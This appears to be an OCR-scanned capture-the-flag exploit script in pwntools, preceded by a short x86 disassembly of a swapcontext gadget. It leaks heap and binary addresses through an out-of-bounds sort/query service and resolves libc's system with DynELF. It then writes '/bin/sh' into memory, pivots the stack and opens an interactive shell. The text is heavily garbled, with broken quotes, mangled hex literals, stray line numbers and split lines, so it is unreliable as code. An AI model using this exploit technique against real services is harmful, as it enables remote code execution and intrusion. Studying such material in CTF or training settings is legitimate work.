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088489AF mov ecx, [eax+4Ch]
08848982 mov esb, [eax+38h]
88848985 push ecx

08848986 mou edi, [eax+24h]
08848989 mou esi, [eax+28h]
088489BC mov ebp, [eax+2Ch]
088489BF mov ebx, [eax+34h]
888489C2 mov edx, [eax+38h]
888489C5 mov ecx, [eax+3Ch]
088489C8 mov eax, [eax+h48h]

888489CB retn
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from pwn import *

import time

#by wangaohui

#tcontext.log level

exe = 'finall'’

s= remote('127.0.0.

def getpid():
time.sleep(0.1)

pid= pwnlib.util.proc.pidof(exe)

print pid
raw_input('go!"’
#getpid()

#alloc 12+3 items(align 8 byte,so 12+3+1)

= 'debug'

1',10001,timeout=60)

)

s.recvuntil('_CMD_$"')

s.sendline('sort")

s.recvuntil('How many numbers do you want to sort:')

s.sendline('12")

for i in range(12):
s.recvuntil('nu
s.sendline('0")

mber: ")

s.recvuntil('Choose: ')

s.sendline('7")

#sort 3 items(3+3+2)
.recvuntil('_CMD_$"')

.sendline('sort")
.recvuntil('How ma
.sendline('3")

ny numbers do you want to sort:')

.recvuntil('number:")

.sendline('a")

d number, stopped input!"')

.recvuntil('Choose: ')

.sendline('3")

#sort

.recvuntil('Choose: ')

.sendline('")

.recvuntil('Choose: ')

s
s
s
s
s
s
s.recvuntil('Invali
s
s
s
s
s
s

.sendline('1")

#query
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s.recvuntil('Query index: ")
s.sendline('3")
s.recvuntil('Query result: ')
data = s.recvuntil(',")[:-1]
#print data

if data.startswith('-"):

big chunk = (int(data[l:])"exffffffff) + 1 - 8
#print hex(big_chunk)
else:
big chunk = int(data) -8
#print hex(big_chunk)
print 'big chunk addr is: ' + hex(big_chunk)

s.recvuntil('Choose: ")
s.sendline('7")

#sort 3 items(3+3+2)

s.recvuntil('_CMD_$"')

s.sendline('sort")

s.recvuntil('How many numbers do you want to sort:')
s.sendline('3")

for i in range(3):

s.recvuntil('number:")
s.sendline('0")
s.recvuntil('Choose: ')
s.sendline('3") #sort
s.recvuntil('Choose: ')
s.sendline('")
s.recvuntil('Choose: ')
s.sendline('7")
#reload
.recvuntil('_CMD_$")

s
s.sendline('reload")
s.recvuntil('Reload history ID: ')
s.sendline('1")
s.recvuntil('Choose: ')
s.sendline('1")
s.recvuntil('Query index: ")
s.sendline('6")
s.recvuntil('Query result: ')
data = s.recvuntil(',"')[:-1]
#print data
if data.startswith('-"'):
random = ((int(data[1:])"exffffffff) + 1)"3
#print hex(random)
else:
random = int(data)”3
#print hex(random)
print 'random is: '
s.recvuntil('Choose: ')
s.sendline('1")
s.recvuntil('Query index: ")
s
s

+ hex(random)

.sendline('7")
.recvuntil('Query result: ")
data = s.recvuntil(',"')[:-1]
#print data
if data.startswith('-"'):
pvt = ((int(data[l:])"exffffffff) + 1)
heap = ((int(data[1:])7oxffffffff) + 1) - oxa8

#nrint hex(hean)
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else:
pvt = int(data)

heap = int(data) - ©oxa8

#print hex(heap)
print "'heap addr is: ' + hex(heap)
s.recvuntil('Choose: ')
s.sendline('2")
s.recvuntil('Update index: ")
s.sendline('5")
s.recvuntil('Update number: ")
s.sendline(str(Ox7fffffff))
s.recvuntil('Choose: ')
s.sendline('2")
s.recvuntil('Update index: ")
s.sendline('6")
s.recvuntil('Update number: ')
s.sendline(str(random™ox7fffffff))
s.recvuntil('Choose: ")
s.sendline('7")
s.recvuntil(' _CMD_$")
s.sendline('sort")
s.recvuntil('How many numbers do you want to sort:')
s.sendline('3")
for i in range(3):

s.recvuntil('number:")

s.sendline('0")
s.recvuntil('Choose: ')
s.sendline('3") #sort
s.recvuntil('Choose: ')
s.sendline('")
s.recvuntil('Choose: ')
s.sendline('7")

.recvuntil('_CMD_$")

s
s.sendline('sort")
s.recvuntil('How many numbers do you want to sort:')
s.sendline('3")
s.recvuntil('number:")
s.sendline('a")
s.recvuntil('Invalid number, stopped input!")
s.recvuntil('Choose: ')
s.sendline('1")
start = (2+16+8+3)*4+big_chunk #items addr
if pvt>start:

index = (pvt-start)/4
else:

index = (pvt+0x100000000-start)/4
s.recvuntil('Query index: ")
s.sendline(str(index))
s.recvuntil('Query result: ')
data = s.recvuntil(',"')[:-1]
#print data
if data.startswith('-"'):

vt = ((int(data[l:])"exffffffff) + 1)
else:

vt = int(data)
if vt>start:

index = (vt-start)/4



157 else:

158 index = (vt+0x100000000-start)/4
159 s.recvuntil('Choose: ')

160 s.sendline('1")

161 s.recvuntil('Query index: ')

162 s

163 s.recvuntil('Query result: ')
164 data = s.recvuntil(',")[:-1]
165 if data.startswith('-"):

.sendline(str(index))

166 base = ((int(data[1:])"exffffffff) + 1 - 0x1D50)
167 else:
168 base = int(data - 0x1d50)

169 print 'exe base is:
170 def leak(addr):

+ hex(base)

171 if addr>start:

172 index = (addr-start)/4

173 else:

174 index = (addr+0x100000000-start)/4
175 s.recvuntil('Choose: ')

176 s.sendline('1")

177 s.recvuntil('Query index: ")

178 s.sendline(str(index))

179 s.recvuntil('Query result: ')

180 data = s.recvuntil(',"')[:-1]

181 if data.startswith('-"):

182 r = ((int(data[1:])"exffffffff) + 1)
183 else:

184 r = int(data)

185 return p32(r)

186 d = DynELF(leak,pointer=base,elf=ELF('./finall"))
187 libc_base = d.lookup(None, 'libc")

188 print 'libc_base is: '
189 #method 1

190 #e=d.libc

191 #str_binsh=(list(e.search('/bin/sh'))[0])

192 system= d.lookup('system','libc")

+ hex(libc_base)

193 swapcontext = d.lookup('swapcontext','libc")

194 print 'swapcontext is: ' + hex(swapcontext)
195 pivot = swapcontext+(0x7f-0x10)

196 print 'system is: ' + hex(system)

197

198 def update(addr,value):

199 if addr>start:

200 index = (addr-start)/4

201 else:

202 index = (addr+0x100000000-start)/4
203 s.recvuntil('Choose: ")

204 s.sendline('2")

205 s.recvuntil('Update index: ')

206 s.sendline(str(index))

207 s.recvuntil('Update number: ')

208 if value>ox7fffffff:

209 s.sendline(str(value-0x100000000))
210 else:

211 s.sendline(str(value))

212

213 redir = big_chunk + (2+16+16)*4 + 0x200
214 eax = big_chunk + (2+16+16)*4 + 0Ox300
215 esp = big_chunk + (2+16+16)*4 + 0Ox400

M1 & HmaA+hAA 9



L1V THITULIIVU £

217 binsh = 0x6e€69622f #/bin
218 binshl = 0@x68732f #/sh\x00
219 str_binsh = big_chunk + (2+16+16)*4 + 0x500
220 update(str_binsh,binsh)
221 update(str_binsh + 4,binshl)
222 #method 2 end

223

224 ecx = eax + 0Ox4c

225 pesp = eax + 0x30

226

227

228 update(redir,pivot)

229 update(pesp,esp)

230 update(esp+4,str_binsh)
231 update(ecx,system)

232 update(start-4,eax)

233 update(eax,redir)

234

235 s.recvuntil('Choose: ')
236 s.sendline('3")

237 s.interactive()

238

239 s.close()

View Code
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